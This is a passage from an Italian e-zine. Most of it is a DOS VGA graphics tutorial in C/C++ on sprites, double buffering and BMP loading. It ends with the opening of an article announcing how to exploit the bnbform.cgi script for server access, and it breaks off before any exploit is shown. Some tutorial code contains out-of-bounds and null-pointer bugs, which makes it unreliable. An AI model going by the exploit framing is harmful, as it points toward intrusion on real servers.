| } |
| vgaClose(); |
| } |
| |
| |
| Un' orrendo esempio di animazione ma potete sbizzarrirvi come volete;-) |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SiNCRONiZZAZiONE |
| | 7 |------------------------------------------------------------- |
| '------' |
| Avrete notato che l'animazione del quadratino fa semplicemente |
| schifo... il quadratino è appena visibile in seguito |
| all'eccessivo sfarfallìo dell'animazione. |
| Dobbiamo tener presente che lo sfarfallio compare quando |
| vado ad aggiornare la memoria video mentre il chip grafico non |
| ha ancora finito di leggere e disegnare su schermo. Per |
| non incorrere in questo inconveniente, possiamo andare a |
| testare il 4° bit della porta 0x3da (controller CRT |
| - hardware incaricato di leggere dalla memoria video e |
| convertire in segnali per il monitor) che ci dice se la lettura è |
| finita (=0) o se stà ancora lavorando (=1). |
| Potremmo introdurre un ciclo di attesa con l'istruzione: |
| |
| |
| while ((inportb(0x3da)&0x08)!=0); |
| |
| |
| però non ci basta verificare se il controller ha finito di |
| leggere perchè potrebbe stare per cominciare un nuovo ciclo di |
| lettura, quindi la funzione di sincronizzazione completa è: |
| |
| |
| void synchro(void){ |
| while ((inportb(0x3da)&0x08)!=0); |
| while ((inportb(0x3da)&0x08)==0); |
| } |
| |
| |
| e il codice ottimizzato per l'animazione del quadratino azzurro: |
| |
| |
| while(!kbhit()){ |
| synchro(); |
| for(int i=x; i<x+5; i++){ |
| for(int j=y; j<y+5; j++){ |
| vga[i+(j*320)] = 0x35; |
| } |
| } |
| synchro(); |
| for(int k=0; k<320*200; k++) vga[k] = 0x00; |
| if(x+5==319) direction=0x00; |
| if(x==0) direction=0xff; |
| if(direction==0xff) x+=2; |
| if(direction==0x00) x-=2; |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | DOPPiO BUFFERiNG |
| | 8 |------------------------------------------------------------- |
| '------' |
| Anche se ci siamo sincronizzati con il controller grafico, |
| l'animazione non è molto "fluida" e sfarfalla ancora. A questo punto, |
| non ci rimane che adottare una delle due soluzioni applicabili |
| per |
| migliorare l'animazione: utilizzare il doppio buffering o il clipping. |
| |
| Il doppio buffering è una tecnica che consiste nell'andare a |
| disegnare in un'area di memoria che non corrisponde con quella |
| video e successivamente, quando la scrittura è stata completata, |
| andare a copiare il contenuto del secondo buffer sulla memoria |
| video. |
| |
| Con il clipping si va, invece, a ridisegnare solo l'area di |
| schermo che necessita di un aggiornamento, lasciando invariate le |
| parti 'statiche'. Il clipping ha senso quando l'area da ridisegnare |
| è solo una piccola porzione dello schermo e vi lascio immaginare il |
| perchè. Conviene applicarlo unitamente al doppio buffering (i |
| risultati sono più apprezzabili se li utilizziamo insieme). |
| |
| Per lavorare con il doppio buffering è necessario andare a definire |
| un buffer delle stesse dimensioni della memoria video, in questo caso |
| 64 kbyte: |
| |
| |
| unsigned char *doubleBuffer = (unsigned char *)malloc(320*200); |
| |
| |
| Per disegnare un pixel, andremo a scrivere dapprima nel buffer da noi |
| dichiarato e poi copiamo quest'ultimo nella memoria video: |
| |
| |
| doubleBuffer[x+y*320] = colore; |
| for(int i=0; i<320*200; i++) vga[i] = doubleBuffer[i]; |
| |
| |
| Per quanto riguarda lo switch dei buffer, anzichè utilizzare un |
| ciclo come proposto sopra, è possibile utilizzare alcune |
| funzioni del c, quali dosmemput e movedata: |
| |
| |
| dosmemput(doubleBuffer, 320*200, vga); |
| movedata(_my_ds(), doubleBuffer, _dos_ds, vga, 320*200); |
| |
| |
| Le due funzioni per la copia di buffer in memoria sono molto più |
| veloci di un normale ciclo per il fatto che, sfruttando appieno i |
| registri della cpu, lo spostamento avviene a più di soli 8 bit per |
| volta. |
| La scelta dell'una o dell'altra soluzione dipende da che tipo di |
| prestazioni ci interessano. Per semplici programmini di prova, |
| va benissimo anche la copia mediante un ciclo. |
| Scriviamo adesso una funzione che effettui lo switch: |
| |
| |
| void refresh(unsigned char *buffer){ |
| for(int i=0; i<320*200; i++) vga[i] = buffer[i]; |
| } |
| |
| |
| Ed ecco la funzione per la stampa di pixel su un buffer: |
| |
| |
| void drawPixel(short x, short y, char color, unsigned char *buff){ |
| buff[x+(y<<8)+(y<<6)] = color; |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SPRiTE |
| | 9 |------------------------------------------------------------- |
| '------' |
| Lo sprite è un oggetto grafico che compone la nostra immagine sullo |
| schermo. Se pensiamo ai vecchi videogiochi bidimensionali, |
| possiamo dire che i personaggi, lo sfondo, i vari oggetti e così |
| via sono degli sprites. |
| Lo sprite è un buffer di memoria delle dimensioni |
| dell'immagine contenente l'immagine stessa che andrà poi disegnata |
| sullo schermo. |
| Risulta comodo utilizzare utilizzare le classi del c per |
| implementare gli sprites, così possiamo definire alcune |
| funzioni al suo interno per lavorare sullo schermo. |
| Si utilizzano gli sprite per semplificare notevolmente anche le |
| più semplici operazioni sullo schermo, in seguito capirete il |
| perchè... |
| |
| |
| |
| .' |
| | piccola parentesi sulle classi... |
| '. |
| |
| Vediamo prima come si utilizza uno sprite e poi come lo definiamo. |
| Per prima cosa, per utilizzare uno sprite ci serve un puntatore |
| allo sprite che dichiariamo: |
| |
| |
| Sprite *oggetto; |
| |
| |
| Successivamente creiamo l'oggetto: |
| |
| |
| oggetto = new Sprite(x, y); |
|
|
| |
| L'operatore new ci permette di allocare gli oggetti dinamicamente, |
| proprio come la malloc fa per la memoria. |
| New chiama il costruttore della classe, una funzione che ha lo stesso |
| nome della classe. All'interno del costruttore allochiamo la memoria e |
| inizializziamo alcuni parametri che ci occorrono. |
| Per liberarci di un oggetto che non ci serve più utilizziamo |
| l'operatore delete: |
| |
| |
| delete oggetto; |
| |
| |
| Delete chiama il distruttore della classe Sprite che ha il compito di |
| deallocare la memoria occupata dallo sprite stesso. |
| |
| |
| '. |
| ...fine piccola parentesi | |
| .' |
| |
| |
| Adesso che sappiamo come si usa uno sprite, proviamo a costruirne uno. |
| Un primitivo possibile esempio di classe per uno sprite potrebbe |
| essere: |
| |
| |
| class Sprite{ |
| public: |
| Sprite(int, int); |
| ~Sprite(); |
| void Paint(int, int, unsigned char *); |
| |
| unsigned char *image; |
| int width, height; |
| }; |
| |
| |
| |
| Vediamo il costruttore. Ha l'unico compito di allocare il buffer per |
| l'immagine e necessita di 2 parametri: le dimensioni dell'immagine. |
| |
| |
| Sprite::Sprite(int w, int h){ |
| if((image = (unsigned char *)malloc(w*h))==NULL){ |
| //impossibile allocare memoria per lo sprite |
| return; |
| } |
| width = w; |
| height = h; |
| } |
| |
| |
| Abbiamo anche l'inizializzazione delle due variabili width e |
| height che ci dicono quanto è grande lo sprite. Queste |
| informazioni ci torneranno utili per alcune operazioni da compiere |
| sugli sprite. |
| Il distruttore deve semplicemente restituire al sistema operativo |
| la memoria allocata, quindi sarà: |
| |
| |
| Sprite::~Sprite(){ |
| if(image!=NULL) free(image); |
| } |
| |
| |
| Passiamo a vedere una funzione strettamente legata allo scopo dello |
| sprite: il disegno dell'immagine contenuta nello sprite. |
| La funzione in questione è la Paint, che si occupa di disegnare |
| lo sprite nel buffer per poi disegnarla sullo schermo. Gli |
| passiamo le coordinate di inizio dell' immagine e il puntatore al |
| doppio buffer: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| for(j=yy; j<yy+height; j++){ |
| for(i=xx; i<xx+width; i++){ |
| buffer[i+(j<<8)+(j<<6)] = image[buff++]; |
| } |
| } |
| } |
| |
| |
| Adesso abbiamo il nostro sprite pronto per essere utilizzato: |
| dobbiamo solo inserire l'immagine. |
| Riutilizziamo la funzione vista sopra per disegnare un pixel in |
| un buffer e la modifichiamo per renderla in grado di disegnare in |
| uno sprite. |
| Ci basta sostituire il puntatore al buffer con un |
| puntatore a sprite. Anzichè disegnare direttamente nell'area |
| specificata dal puntatore, andiamo a disegnare nel campo image. |
| |
| |
| void drawPixel(short x, short y, char color, Sprite *sptr){ |
| sptr->image[x+(y*sptr->width)] = color; |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SPRiTE iN TRASPARENZA |
| | 10 |------------------------------------------------------------- |
| '------' |
| Consideriamo adesso un aspetto del quale non abbiamo tenuto conto |
| durante la scrittura della funzione Paint della classe Sprite. La |
| funzione che abbiamo scritto poco sopra non tiene conto del |
| fatto che in un'immagine ci sono alcune parti che vanno disegnate |
| e alcune no. |
| Se vogliamo realizzare un personaggio che si muove su uno |
| sfondo dovremo disegnare solo la parte dello sprite che ritrae il |
| personaggio e non anche il resto dello sprite altrimenti |
| l'effetto che avremo sarà di un rettangolo nero con all'interno |
| la sagoma del personaggio. |
| E' necessario modificare la funzione in questo modo: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| if(image[buff]!=NULL) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| } |
| |
| |
| |
| Decidiamo che il colore 0x00 (NULL) è quello che ci da la |
| trasparenza. Ci basterà saltare le parti riempite a NULL e stampare |
| quelle che contengono la nostra immagine. |
| Risulta più comodo, però, definire dinamicamente il colore |
| che è da considerarsi trasparente con una piccola aggiunta alla |
| classe sprite di una variabile: |
| |
| |
| char transparency; |
| |
| |
| e una modifica alla Paint: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| if(image[buff]!=transparency){ //<-- trasparenza |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| } |
| buff++; |
| i++; |
| } |
| } |
| } |
| |
| |
| Potrebbe però presentarsi la necessità di utilizzare tutti e 256 i |
| colori messi a disposizione senza effettuare alcuna stampa in |
| trasparenza. Decidiamo allora che: se il colore di trasparenza è |
| NULL non bisogna considerare alcun colore come trasparenza, mentre |
| se è qualunque altro valore questo è da considerarsi trasparente. |
| La funzione finale è dunque: |
| |
| |
| void Sprite::Paint(int xx, int yy, unsigned char *buffer){ |
| int i, j, buff = 0; |
| if(transparency){ //<-- tieni conto della trasparenza |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| if(image[buff]!=transparency) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| }else{ //<-- nessuna trasparenza |
| for(j=yy, i=xx; j<yy+height; j++, i=xx){ |
| while(i<xx+width){ |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| } |
| } |
| |
| |
| Piccola ottimizzazione: anzichè specificare le coordinate dove lo |
| sprite andrà stampato al momento della chiamata alla funzione Paint, |
| conviene specificare le coordinate in due nuove variabili |
| all'interno della classe Sprite. Questo risulta comodo quando più |
| avanti vedremo la stampa automatizzata di una serie di sprite. |
| |
| Le modifiche da apportare sono minime: |
| |
| - aggiungiamo alla classe Sprite: |
| |
| int x; |
| int y; |
| |
| - modifichiamo la Paint in questo modo: |
| |
| void Sprite::Paint(unsigned char *buffer){ |
| int i, j, buff = 0; |
| if(transparency){ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| if(image[buff]!=transparency) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| }else{ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| buff++; |
| i++; |
| } |
| } |
| } |
| } |
| |
| Naturalmente sono da modificare tutte le chiamate alla Paint. |
| Se vogliamo stampare uno sprite 'sp' a partire dalle coordinate |
| (50, 100) dovremo scrivere: |
| |
| |
| sp->x = 50; |
| sp->y = 100; |
| sp->Paint(vga); |
| |
| |
| Importante aggiungere al costruttore due istruzioni di |
| inizializzazione per le coordinate: |
| |
| x = 0; |
| y = 0; |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | SPRiTE FUORi SCHERMO |
| | 11 |------------------------------------------------------------- |
| '------' |
| Non sempre tutto quello che dobbiamo visualizzare sullo schermo |
| si trova necessariamente all'interno dello schermo. Pensiamo alle |
| finestre all'interno della gui di un sistema operativo: solitamente, |
| è possibile spostarle anche al di fuori dello schermo visibile. |
| Nella scrittura della funzione Paint, quella incaricata appunto |
| della stampa degli sprite, non abbiamo tenuto conto di questa |
| possibilità percui se specifichiamo una coordinata fuori dallo |
| schermo, o l'immagine va a finire fuori schermo perchè abbiamo fatto |
| male i conti, potremmo ottenere strani risultati. |
| Per sistemare anche questo aspetto, ci basta fare un controllo |
| all'interno del ciclo di stampa: |
| |
| |
| void Sprite::Paint(unsigned char *buffer){ |
| int i, j, buff = 0; |
| if(transparency){ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| if((i<320&&i>0)&&(j<200&&j>0)){ //<- fuori schermo |
| if(image[buff]!=transparency) |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| } |
| buff++; |
| i++; |
| } |
| } |
| }else{ |
| for(j=y, i=x; j<y+height; j++, i=x){ |
| while(i<x+width){ |
| if((i<320&&i>0)&&(j<200&&j>0)){ //<- fuori schermo |
| buffer[i+(j<<8)+(j<<6)] = image[buff]; |
| } |
| buff++; |
| i++; |
| } |
| } |
| } |
| } |
| |
| |
| Ovviamente dobbiamo specificare le dimensioni del nostro schermo o |
| dell'area dove intendiamo effettivamente visualizzare gli sprite. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | iMMAGiNi |
| | 11 |------------------------------------------------------------- |
| '------' |
| Prima di cominciare, facciamo un piccolo discorso introduttivo sulle |
| immagini. Esistono diversi tipi di formati per le immagini che |
| si differenziano sostanzialmente per l'algoritmo di compressione. |
| L'immagine salvata su file è solitamente compressa, questo perchè |
| se pensiamo di salvare pixel per pixel un'immagine avremmo notevoli |
| problemi di occupazione in memoria: pensiamo un'immagine di |
| 320x200 a 256 colori. Ogni pixel è identificato da 1 solo byte, |
| quindi la dimensione totale del file è data da 320*200*1 byte, cioè |
| 64000 byte, circa 64 kbyte. Beh, direte, non abbiamo un file molto |
| grosso... proviamo a fare l'esempio con un'immagine di 800x600 a |
| 65.536 colori: ogni pixel necessita di 2 byte e la dimensione totale |
| è 800*600*2 byte, ben 960000 byte, quasi un megabyte per un'immagine! |
| Qui entrano in gioco gli algoritmi di compressione, capaci di |
| alleggerire notevolmente la dimensione del file salvato. |
| Visto che noi utilizzeremo solamente una risoluzione di 320x200 e al |
| massimo 256 colori, possiamo permetterci di utilizzare immagini non |
| compresse. |
| |
| Esaminiamo come funziona il formato BMP, quello che solitamente usa il |
| Paint di Windows. |
| BMP stà per BitMaPped, ossia l'immagine è salvata bit a bit, |
| non c'è alcun tipo di compressione. Questo è vero solo in parte, |
| nel senso che esiste la possibilità di salvare l'immagine codificata |
| con l'algoritmo RLE (Run Length Encoding). |
| Questo algoritmo si basa sulla 'compressione' di sequenze di colori |
| uguali: ad esempio, supponiamo di avere una riga orizzontale rossa |
| lunga 300 pixel; in base al RLE, in soly 3 byte possiamo dire 'da qui |
| in avanti disegna 300 pixel rossi', anzichè avere 300 byte che portano |
| tutti il colore rosso. |
| Pur essendo un algoritmo semplicissimo, noi non tratteremo le bitmap |
| codificate secondo RLE. |
| Il file codificato in bitmap è composto da un header, dalla |
| palette e dall'immagine. L'header è preceduto da un tag di 2 byte |
| che specifica che il file è una bitmap. |
| Analizziamo l'header direttamente dalla sua struttura corrispondente: |
| |
| |
| struct{ |
| unsigned long fileLenght; |
| unsigned char reserved[4]; |
| unsigned long imageOffset; |
| unsigned int headerSize; |
| unsigned int width; |
| unsigned int height; |
| unsigned short planes; |
| unsigned short bitsPixel; |
| unsigned int compression; |
| unsigned int imageSize; |
| unsigned int hResolution; |
| unsigned int vResolution; |
| unsigned int colors; |
| unsigned int imColors; |
| unsigned char padding[3]; |
| }bmpheader; |
| |
| |
| Vediamo solo i parametri che utilizzeremo. |
| Innanzitutto troviamo imageOffset che ci dice a che byte inizia |
| l'immagine all'interno del file. Lo utilizzeremo appunto per |
| individuare l'immagine e poi leggerla. |
| width e height danno rispettivamente la larghezza e l'altezza |
| dell'immagine. |
| colors indica il numero di colori impiegati per visualizzare |
| l'immagine. |
| |
| Subito dopo l'header, troviamo la definizione dei colori (la palette). |
| Poichè a volte non sono necessari tutti e 256 colori |
| disponibili per rappresentare un'immagine, la definizione della |
| palette contiene solo i colori modificati. |
| Il colore è definito da un byte per ogni colore primario (rosso, |
| verde e blu) più un byte di padding. A noi basta leggere questi |
| valori e ridefinire la palette di sistema. Attenzione però: i |
| byte non sono scritti a partire dal rosso, ma dal blu; quindi, |
| leggeremo blu, verde, rosso e il byte di padding. Facciamo |
| l'esempio di un colore: |
| |
| |
| 00 80 ff 00 |
| | | | | |
| B G R pad. |
| |
| |
| Scriviamo due righe di codice per leggere la palette. |
| |
| outportb(0x3c8, 1); |
| for(int i=0; i<hdr.colors-1; i++){ |
| fread(&b, sizeof(unsigned char), 1, img); |
| fread(&g, sizeof(unsigned char), 1, img); |
| fread(&r, sizeof(unsigned char), 1, img); |
| fseek(img, 1, SEEK_CUR); |
| outportb(0x3c9, r>>2); |
| outportb(0x3c9, g>>2); |
| outportb(0x3c9, b>>2); |
| } |
| |
| |
| Per prima cosa vediamo che il colore 0 non viene ridefinito perchè |
| viene inteso come nero e non viene specificato all'interno del file |
| bitmap. |
| Notiamo anche che i valori r, g, e b vengono shiftati a destra di 2 |
| bit: questo perchè, se ricordate, ogni colore primario può avere un |
| valore compreso tra 0 e 63. Eseguendo l'operazione di shift, |
| abbiamo un valore di 6 bit: se la matematica non è un'opinione, |
| 2^6 fa proprio 64... |
| |
| Adesso che abbiamo ridefinito la palette, dobbiamo leggere |
| l'immagine. Basterebbe leggere dal primo all'ultimo byte e copiarlo |
| all'interno del buffer, giusto? Sbagliato! Questo perchè l'immagine |
| è salvata a partire dall'ultima riga, in questo modo: |
| |
| |
| riga(n) <-- ultima riga |
| riga(n-1) |
| riga(n-2) |
| ... |
| riga(n-altezzaimmagine) <-- prima riga |
| |
| |
| Non si capisce il perchè di questa scelta nell'implementare |
| l'algoritmo, comunque non è un problema. |
| Analizziamo direttamente il codice che legge l'immagine e la |
| copia sulla memoria video. |
| |
| |
| fseek(img, hdr.imageOffset, SEEK_SET); |
| if(hdr.compression==0){ |
| for(int j=0; j<hdr.height; j++){ |
| for(int k=0; k<hdr.width; k++){ |
| fread(&pixel, sizeof(pixel), 1, img); |
| vga[k+(hdr.height-j-1)*320]=pixel; |
| } |
| } |
| } |
| |
| |
| Per prima cosa, ci posizioniamo all'interno del file alla posizione |
| specificata da imageOffset. Controlliamo che compression sia pari |
| a 0, cioè non sia applicato alcun algoritmo di compressione e |
| poi leggiamo pixel per pixel e copiamo sulla memoria video. |
| Quando arriviamo al termine della riga, continuando a leggere |
| acquisiamo i dati della riga precedente da visualizzare sullo |
| schermo. |
| |
| Facciamo una piccola osservazione: se una linea è memorizzata |
| sequenzialmente, perchè andare a leggere pixel per pixel invece che |
| copiare direttamente tutta la riga? |
| Ecco qui di seguito la versione ottimizzata della lettura: |
| |
| |
| fseek(img, hdr.imageOffset, SEEK_SET); |
| if(hdr.compression==0){ |
| for(int j=0; j<hdr.height; j++){ |
| fread(&vga[(hdr.height-j-1)*320], hdr.width, 1, img); |
| } |
| } |
| |
| |
| Per la stampa corretta su schermo, e anche per la corretta copia in |
| uno sprite, ci basta specificare come coordinata il risultato della |
| sottrazione dell'altezza dell'immagine e il contatore delle righe |
| lette e sottrarre ancora 1 per il fatto che il conteggio delle rige |
| parte da 0: |
| |
| |
| vga[k+(hdr.height-j-1)*320]=pixel; |
| |
| |
| Il caricamento di immagini in formato BMP all'interno di uno sprite |
| non è più un problema. A questo punto, però, si presenta un |
| problema: se diamo un'occhiata al codice, quando allochiamo un |
| nuovo sprite questo vuole a priori la dimensione dell'immagine da |
| allocare. Poichè quando noi allochiamo lo sprite non abbiamo caricato |
| ancora l'immagine da file e quindi non ne conosciamo ancora le |
| dimensioni, non ci è possibile creare lo sprite? Possiamo. Basta |
| definire un nuovo costruttore della classe Sprite per il caricamento |
| di immagini da file. |
| Il nuovo costruttore necessiterà di un unico parametro che sarà |
| il path del file immagine da aprire: |
| |
| |
| Sprite::Sprite(const char *path){ |
| FILE *img; |
| bmpheader hdr; |
| |
| if((img=fopen(path, "rb"))==NULL){ |
| //impossibile aprire il file |
| return; |
| } |
| fseek(img, 2, SEEK_SET); |
| fread(&hdr, sizeof(bmpheader), 1, img); |
| |
| image = (unsigned char *)malloc(hdr.width*hdr.height); |
| width = hdr.width; |
| height = hdr.height; |
| |
| outportb(0x3c8, 1); |
| for(int i=0; i<hdr.colors-1; i++){ |
| fread(&b, sizeof(unsigned char), 1, img); |
| fread(&g, sizeof(unsigned char), 1, img); |
| fread(&r, sizeof(unsigned char), 1, img); |
| fseek(img, 1, SEEK_CUR); |
| outportb(0x3c9, r>>2); |
| outportb(0x3c9, g>>2); |
| outportb(0x3c9, b>>2); |
| } |
| |
| fseek(img, hdr.imageOffset, SEEK_SET); |
| if(hdr.compression==NULL){ |
| for(int j=0; j<hdr.height; j++){ |
| fread(&image[(hdr.height-j-1)*hdr.width], |
| hdr.width, 1, img); |
| } |
| } |
| fclose(img); |
| } |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | STAMPA AUTOMATiZZATA Di SPRiTE |
| | 13 |------------------------------------------------------------- |
| '------' |
| Abbiamo creato uno scenario complesso, con parecchi sprite: adesso |
| dobbiamo disegnarli sullo schermo. |
| A livello di codice, con i mezzi a nostra disposizione fino a |
| questo momento, dovremmo chiamare per ogni sprite la sua Paint. |
| |
| Esempio: abbiamo tre sprite sp1, sp2, sp3 da stampare. |
| |
| |
| //... |
| sp1->Paint(vga); |
| sp2->Paint(vga); |
| sp3->Paint(vga); |
| //... |
| |
| |
| Questo è un notevole svantaggio perchè dovremmo conoscere già al |
| momento della stesura del codice quanti e quali sprite andranno |
| stampati. |
| Vediamo di automatizzare la stampa creando una sorta di database |
| che contiene gli sprite da stampare, con la possibilità di |
| aggiungerne e toglierne dalla lista. Tutto ciò che ci occorre è |
| un vettore di puntatori a sprite che dichiariamo: |
| |
| |
| Sprite *SpriteRegister[5]; |
| |
| |
| Imponiamo il limite di 5 sprite per schermo perchè nell'esempio ne |
| usiamo solo 3, ma possiamo definirne quanti ne vogliamo (sempre |
| che abbiamo abbastanza memoria!). |
| Scriviamo la funzione per aggiungere uno sprite al contenitore degli |
| sprite da stampare: |
| |
| |
| void AddSprite(Sprite *sp){ |
| int counter=0; |
| while((SpriteRegister[counter]!=NULL)&&(counter!=4)) counter++; |
| SpriteRegister[counter] = sp; |
| } |
| |
| |
| Dobbiamo trovare prima di tutto un posto libero all'interno del |
| contenitore dove piazzare il nuovo sprite. Una volta trovato, ci |
| mettiamo l'indirizzo dello sprite. |
| Adesso che abbiamo tutti gli sprite nel contenitore, vediamo la |
| funzione che li disegna tutti: |
| |
| |
| void DrawAllSprite(unsigned char *buffer){ |
| for(int i=0; i<4; i++){ |
| if(SpriteRegister[i]) SpriteRegister[i]->Paint(buffer); |
| } |
| } |
| |
| |
| La funzione è semplicissima: prende tutti gli indirizzi dal |
| contenitore degli sprite e chiama la relativa funzione Paint. Il |
| controllo 'if(SpriteRegister[i])' serve per verificare che sia |
| un valore non nullo, quindi che punti effettivamente a uno |
| sprite. |
| Osservazione: l'ultimo sprite stampato sarà sovrapposto a tutti |
| gli altri, mentre il primo sarà coperto da tutti gli altri. Abbiamo |
| quindi una stampa su più livelli. |
| Facciamo adesso un esempio di 'stampa automatizzata'. |
| Abbiamo i 3 sprite di prima sp1, sp2 e sp3. Vediamo prima |
| il codice per aggiungere e stampare gli sprite: |
| |
| |
| AddSprite(sp1); |
| AddSprite(sp2); |
| AddSprite(sp3); |
| DrawAllSprite(vga); |
| |
| |
| Semplicissimo, no? Ma se in un determinato istante uno sprite non deve |
| comparire sullo schermo? Se volessimo utilizzare questo metodo |
| 'automatizzato' dovremmo rimuovere lo sprite dalla lista per non |
| copiarlo sul buffer video ma, invece, introduciamo un altra |
| proprietà alla classe Sprite: la visibilità. |
| Aggiungiamo una variabile booleana che ci dice se lo sprite è |
| visibile oppure no, quindi se andrà stampato o meno. |
| |
| |
| bool visible; |
| |
| |
| All'interno dei costruttori inizializziamo 'visible = true' per |
| fare in modo che lo sprite sia visibile di default. |
| Aggiungiamo due funzioni, SetVisible e SetHidden, alla classe |
| Sprite per modificare la visibilità dello sprite. |
| |
| |
| void Sprite::SetVisible(void){ |
| visible = true; |
| } |
| |
| |
| void Sprite::SetHidden(void){ |
| visible = false; |
| } |
| |
| |
| Scriviamo anche una funzione che ci dica se lo sprite è visibile: |
| |
| |
| bool Sprite::IsVisible(void){ |
| return(visible); |
| } |
| |
| |
| Adesso che abbiamo questo nuovo parametro, modifichiamo la |
| funzione DrawAllSprite in modo che stampi solo gli sprite visibili: |
| |
| |
| void DrawAllSprite(unsigned char *buffer){ |
| for(int i=0; i<12; i++){ |
| if((SpriteRegister[i]->IsVisible())&&SpriteRegister[i]) |
| SpriteRegister[i]->Paint(buffer); |
| } |
| } |
| |
| |
| Ci basta verificare che IsVisible sia 'true', quindi lo sprite è |
| visibile e in tal caso possiamo chiamare la funzione Paint. |
| |
| |
| |
| |
| .------. |
| | |------------------------------------------------------------- |
| | | CONCLUSiONi |
| | 14 |------------------------------------------------------------- |
| '------' |
| Terminiamo qui la prima puntata. Di materiale mi sembra ce ne sia |
| abbastanza. |
| La prossima volta vedremo come stampare delle stringhe di testo e come |
| definire dei font grafici; magari ci sarà qualche accenno alla SVGA... |
| |
| Per delucidazioni, consigli, insulti, proposte indecenti scrivetemi... |
| |
| |
| __/\__________________ |
| ' | |
| | bondo@tiscali.it | |
| |________________ ___.' |
| \/ |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi ExPL0iT #08 - 01/11/2002 |
| BNBF0RM: USi E ABUSi [spyro] 0x0F/0x1A |
+--------------------------------------------------------------------------+
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| / - |
| |--> /Disclaimer |
| |--> /Introduzione |
| |--> /Cosa_è_il_bnbform |
| |--> /Config_e_installazione_bnbform |
| |--> /Exploitare_il_bnbform.cgi |
| |--> /Ringraziamenti_e_saluti |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Disclaimer |
| bash# cat disclaimer.txt |
| |
| |
| Quello che riporterò qui di seguito, sarà la spiegazione di un exploit |
| che ha lo scopo di far ottenere l'accesso ad un server tramite esso. |
| Al giorno d'oggi la rete purtroppo è piena di lamer e io con questo |
| testo non vorrei contribuire alla nascita di nuovi, quindi pensateci |
| due volte prima di mettere in atto queste informazioni. |
| Io ho scritto questo testo soltanto per mettere in evidenza i problemi |
| di sicurezza riguardanti la rete. |
| Quindi se farete danni a voi stessi o ad altre persone non mi |
| riterrò responsabile. |
| Tutto a scopo informativo! |
| Siete RESPONSABILI delle vostre azioni. |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cd /Introduzione |
| bash# cat introduzione.txt |
| |
| Oggi vi parlerò di un utilissimo,ma purtroppo anche buggatissimo, cgi |
| script di nome: bnbForm |
| BnbForm è uno script cgi che permette di spedire delle e-mail |
| direttamente da una pagina web, riempiendo una form. |
| Con questo testo andremo a scoprire come funziona lo script, |
| come configurarlo, installarlo e come exploitarlo :) . |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cd /Cosa_è_il_bnbform |
| bash# cat cosa_è_il_bnbform.txt |
| |
| |
| BnbForm è uno script cgi che permette di spedire delle e-mail |
| direttamente da una pagina web, riempiendo una form. |
| Questo script può essere utilizzato sia su sistemi Unix che quelli |
| windows, questo perchè necessita dell'uso dei socket. |
| Lo script in questione ha varie utilità tipo: il supporto di destinatari |
| multipli(Il campo Cc: di un client mail), controlla se l'indirizzo |
| immesso è corretto (ma nn esistente!) e permette anche di inviare |
| un messaggio a chi ha appena mandato una mail. |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Config_e_installazione_bnbform |
| bash# cat config_e_installazione_bnbform.txt |
| |
| |
| Dopo aver scompattato il file .tar o .zip, ci troveremo una directory |
| contenente 8 file di cui, 2 andranno messi nella directory cgi-bin |
| del demone http e gli altri in una directory a nostra scelta. |
| |
| File Description |
| |
| README.TXT No Comment :) |
| |
| bnbform.cgi Script Cgi |
| |
| bnbform.txt Form Html x utilizzare bnbform.cgi |
| |
| oops.html Pagina HTML per avviso errori |
| |
| SSLNOTES.txt Nota di uso dello script con SSL(https) |
| |
| bnbform.html Semplice Form Html |
| |
| mymessage.baut Messaggio di autoreply |
| |
| thanks.html Pagina HTML x ringraziare dell'uso |
| |
| |
| Iniziamo la configurazione editando il file bnbform.cgi . |
| Prima di tutto andremo a settare delle variabili dello script. |
| |
| Se vogliamo garantire l'utilizzo dello script a soli determinati |
| host, basta decommentare la riga qui di seguito e aggiungere gli host |
| da noi desiderati: |
| |
| #@okaydomains=("http://www.spyrohack.com", "http://www.diom.com"); |
| |
